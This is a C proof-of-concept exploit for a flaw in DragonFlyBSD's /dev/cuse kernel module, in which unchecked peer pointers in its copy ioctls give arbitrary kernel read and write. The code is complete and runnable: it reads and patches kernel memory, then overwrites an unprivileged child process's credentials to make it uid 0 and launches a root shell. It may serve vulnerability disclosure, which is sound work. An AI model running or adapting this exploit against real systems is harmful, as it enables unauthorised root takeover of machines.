/*
 * DF-4147 PoC - DragonFlyBSD /dev/cuse (cuse.ko)
 *
 * cuse_proc2proc_copy() -> proc_rwmem_dfly() (sys/dev/misc/cuse/cuse.c:881)
 * implements the server<->client cross-process copy with copyin()/copyout()
 * where the PEER address (pchk->peer_ptr, fully server-controlled) is used
 * as the RAW KERNEL-SIDE pointer:
 *
 *   WRITE_DATA: copyin(local_ptr [user, validated], peer_ptr [RAW KERNEL dst])
 *   READ_DATA : copyout(peer_ptr [RAW KERNEL src], local_ptr [user, validated])
 *
 * std_copyin/std_copyout (sys/platform/pc64/x86_64/support.s:228-328) only
 * validate the user-side argument; the kernel-side pointer is unchecked.
 *
 * => any process holding an open /dev/cuse server fd with one pending client
 *    command obtains arbitrary kernel READ and WRITE.
 *
 * Demo (root server + unprivileged "nobody" client):
 *   1. create world-accessible /dev/cuse_poc0 via CUSE_IOCTL_CREATE_DEV
 *   2. child (uid 65534) opens it -> CUSE_CMD_OPEN pends
 *   3. READ  96 bytes of the kernel `version` symbol (nm-derived address)
 *   4. WRITE to `version`, observe via sysctl kern.version, restore
 *   5. full chain: locate child's struct ucred (kern.proc kp_paddr ->
 *      proc+0x10 p_ucred), zero every uid/gid field -> child is uid 0
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/user.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/uio.h>

/* ---- inlined from sys/dev/misc/cuse/cuse_defs.h + cuse_ioctl.h ---- */
#define	CUSE_ERR_NONE		0
#define	CUSE_ERR_OTHER		-7
#include <sys/wait.h>
enum {
	CUSE_CMD_NONE,
	CUSE_CMD_OPEN,
	CUSE_CMD_CLOSE,
	CUSE_CMD_READ,
	CUSE_CMD_WRITE,
	CUSE_CMD_IOCTL,
	CUSE_CMD_POLL,
	CUSE_CMD_SIGNAL,
	CUSE_CMD_SYNC,
	CUSE_CMD_MAX,
};
struct cuse_dev;
struct cuse_data_chunk {
	uintptr_t local_ptr;
	uintptr_t peer_ptr;
	unsigned long length;
};
struct cuse_alloc_info {
	unsigned long page_count;
	unsigned long alloc_nr;
};
struct cuse_command {
	struct cuse_dev *dev;
	unsigned long fflags;
	uintptr_t per_file_handle;
	uintptr_t data_pointer;
	unsigned long argument;
	unsigned long command;
};
struct cuse_create_dev {
	struct cuse_dev *dev;
	uid_t	user_id;
	gid_t	group_id;
	int	permissions;
	char	devname[80];
};
#define	CUSE_IOCTL_GET_COMMAND		_IOR('C', 0, struct cuse_command)
#define	CUSE_IOCTL_WRITE_DATA		_IOW('C', 1, struct cuse_data_chunk)
#define	CUSE_IOCTL_READ_DATA		_IOW('C', 2, struct cuse_data_chunk)
#define	CUSE_IOCTL_SYNC_COMMAND		_IOW('C', 3, int)
#define	CUSE_IOCTL_GET_SIG		_IOR('C', 4, int)
#define	CUSE_IOCTL_ALLOC_MEMORY		_IOW('C', 5, struct cuse_alloc_info)
#define	CUSE_IOCTL_FREE_MEMORY		_IOW('C', 6, struct cuse_alloc_info)
#define	CUSE_IOCTL_SET_PFH		_IOW('C', 7, uintptr_t)
#define	CUSE_IOCTL_CREATE_DEV		_IOW('C', 8, struct cuse_create_dev)
#define	CUSE_IOCTL_DESTROY_DEV		_IOW('C', 9, struct cuse_dev *)
#define	CUSE_IOCTL_ALLOC_UNIT		_IOR('C',10, int)
#define	CUSE_IOCTL_FREE_UNIT		_IOW('C',11, int)
#define	CUSE_IOCTL_SELWAKEUP		_IOW('C',12, int)
#define	CUSE_IOCTL_ALLOC_UNIT_BY_ID	_IOWR('C',13, int)
#define	CUSE_IOCTL_FREE_UNIT_BY_ID	_IOWR('C',14, int)
/* ------------------------------------------------------------------- */

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef KERN_VERSION_ADDR
#define KERN_VERSION_ADDR 0xffffffff81144960UL	/* nm /boot/kernel/kernel 'version' */
#endif

#define PROC_P_UCRED 0x10	/* offsetof(struct proc, p_ucred): p_list LIST_ENTRY = 2 ptrs */

static int cfd;

static int
kread(uintptr_t kaddr, void *ubuf, size_t len)
{
	struct cuse_data_chunk ck = {
		.local_ptr = (uintptr_t)ubuf,
		.peer_ptr = kaddr,
		.length = len,
	};
	return ioctl(cfd, CUSE_IOCTL_READ_DATA, &ck);
}

static int
kwrite(uintptr_t kaddr, const void *ubuf, size_t len)
{
	struct cuse_data_chunk ck = {
		.local_ptr = (uintptr_t)ubuf,
		.peer_ptr = kaddr,
		.length = len,
	};
	return ioctl(cfd, CUSE_IOCTL_WRITE_DATA, &ck);
}

static uintptr_t
child_proc_addr(pid_t pid)
{
	struct kinfo_proc kp;
	size_t sz = sizeof(kp);
	int name[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, pid };

	if (sysctl(name, 4, &kp, &sz, NULL, 0) != 0) {
		perror("sysctl kern.proc.pid");
		return 0;
	}
	if (sz == 0)
		return 0;
	printf("[+] sysctl kern.proc.pid.%d: kp_paddr = %p\n", pid,
	    (void *)(uintptr_t)kp.kp_paddr);
	return (uintptr_t)kp.kp_paddr;
}

int
main(int argc, char **argv)
{
	struct cuse_command cmd;
	struct cuse_create_dev cd;
	char orig[128], scratch[128];
	pid_t child;
	int error, i, nmatched = 0;

	cfd = open("/dev/cuse", O_RDWR);
	if (cfd < 0) {
		perror("open /dev/cuse");
		return 1;
	}

	/* ---- 1. create a world-accessible client device ---- */
	memset(&cd, 0, sizeof(cd));
	strlcpy(cd.devname, "cuse_poc0", sizeof(cd.devname));
	cd.permissions = 0666;
	if (ioctl(cfd, CUSE_IOCTL_CREATE_DEV, &cd) != 0) {
		perror("CUSE_IOCTL_CREATE_DEV");
		return 1;
	}
	printf("[+] created /dev/cuse_poc0 (mode 0666)\n");

	child = fork();
	if (child == 0) {
		/* unprivileged client: nobody */
		setgid(65534);
		setuid(65534);
		int c = -1;
		for (i = 0; i < 200; i++) {
			c = open("/dev/cuse_poc0", O_RDWR);
			if (c >= 0)
				break;
			if (errno != ENOENT)
				break;		/* e.g. EINVAL when released */
			usleep(1000);
		}
		if (c < 0) {
			dprintf(2, "child: open failed: %s\n", strerror(errno));
			_exit(9);
		}
		/* returns after the server syncs CUSE_CMD_OPEN */
		printf("[+] child (was uid 65534): open returned, "
		    "getuid=%d geteuid=%d\n", getuid(), geteuid());
		fflush(stdout);
		if (getuid() != 0 || geteuid() != 0) {
			dprintf(2, "[-] credential overwrite failed\n");
			_exit(2);
		}
		printf("[+] *** CHILD IS uid 0 - privilege escalation complete ***\n");
		fflush(stdout);
		execl("/bin/sh", "sh", "-c",
		    "id; echo root-shell-ok; ls -la /etc/spwd.db >/dev/null "
		    "&& echo 'can read shadow db'", NULL);
		_exit(3);
	}

	/* ---- 2. server: wait for the pending CUSE_CMD_OPEN ---- */
	memset(&cmd, 0, sizeof(cmd));
	error = ioctl(cfd, CUSE_IOCTL_GET_COMMAND, &cmd);
	if (error != 0) {
		perror("CUSE_IOCTL_GET_COMMAND");
		return 1;
	}
	printf("[+] got command %lu (CUSE_CMD_OPEN=1) data_pointer=%p argument=%lu\n",
	    cmd.command, (void *)cmd.data_pointer, cmd.argument);
	if (cmd.command != CUSE_CMD_OPEN) {
		printf("[-] unexpected command\n");
		return 1;
	}

	/* ---- 3. arbitrary kernel READ: kernel `version' string ---- */
	memset(orig, 0, sizeof(orig));
	error = kread(KERN_VERSION_ADDR, orig, sizeof(orig) - 1);
	printf("[%c] READ_DATA from kernel %p -> \"%s\"\n",
	    error ? '-' : '+', (void *)KERN_VERSION_ADDR, orig);
	if (error != 0 || strncmp(orig, "DragonFly", 9) != 0) {
		printf("[-] kernel read failed/invalid (error=%d errno=%d)\n",
		    error, errno);
		goto sync_fail;
	}
	printf("[+] ARBITRARY KERNEL READ confirmed (matches `sysctl kern.version')\n");

	/* ---- 4. arbitrary kernel WRITE: patch `version', verify, restore ---- */
	memcpy(scratch, orig, sizeof(scratch));
	memcpy(scratch, "CUSE-PWNED ", 11);
	error = kwrite(KERN_VERSION_ADDR, scratch, 64);
	if (error != 0) {
		printf("[-] kernel write failed (error=%d errno=%d)\n", error, errno);
		goto sync_fail;
	}
	memset(scratch, 0, sizeof(scratch));
	if (kread(KERN_VERSION_ADDR, scratch, 63) == 0 &&
	    strncmp(scratch, "CUSE-PWNED", 10) == 0) {
		printf("[+] ARBITRARY KERNEL WRITE confirmed (readback \"%s\")\n",
		    scratch);
		printf("[+]   check: `sysctl -n kern.version' now shows the patch\n");
	} else {
		printf("[-] write did not stick\n");
	}
	/* restore so the guest stays sane */
	kwrite(KERN_VERSION_ADDR, orig, 64);

	/* ---- 5. uid0 chain: overwrite the child's struct ucred ---- */
	{
		uintptr_t paddr, ucred;
		uint32_t dump[64];
		uint32_t zero = 0;

		paddr = child_proc_addr(child);
		if (paddr == 0)
			goto sync_fail;
		if (kread(paddr + PROC_P_UCRED, &ucred, sizeof(ucred)) != 0) {
			printf("[-] kread p_ucred failed\n");
			goto sync_fail;
		}
		printf("[+] child struct proc %p -> p_ucred = %p\n",
		    (void *)paddr, (void *)ucred);
		if (kread(ucred, dump, sizeof(dump)) != 0) {
			printf("[-] kread ucred failed\n");
			goto sync_fail;
		}
		/* every 4-byte slot equal to 65534 is a uid/gid field of 'nobody' */
		for (i = 0; i < 64; i++) {
			if (dump[i] == 65534) {
				if (kwrite(ucred + 4UL * i, &zero, sizeof(zero)) != 0)
					printf("[-] kwrite ucred+%d failed\n", i);
				else
					nmatched++;
			}
		}
		printf("[+] zeroed %d uid/gid fields (cr_uid/cr_ruid/cr_svuid/"
		    "cr_gid/...)\n", nmatched);
		if (nmatched < 4)
			goto sync_fail;
	}

	/* ---- 6. release the child's open() ---- */
	{
		int rv = CUSE_ERR_NONE;
		if (ioctl(cfd, CUSE_IOCTL_SYNC_COMMAND, &rv) != 0)
			perror("SYNC_COMMAND");
	}
	sleep(3);
	close(cfd);
	waitpid(child, NULL, 0);
	printf("[*] done\n");
	return 0;

sync_fail:
	{
		int rv = CUSE_ERR_OTHER;
		ioctl(cfd, CUSE_IOCTL_SYNC_COMMAND, &rv);
	}
	sleep(1);
	return 1;
}
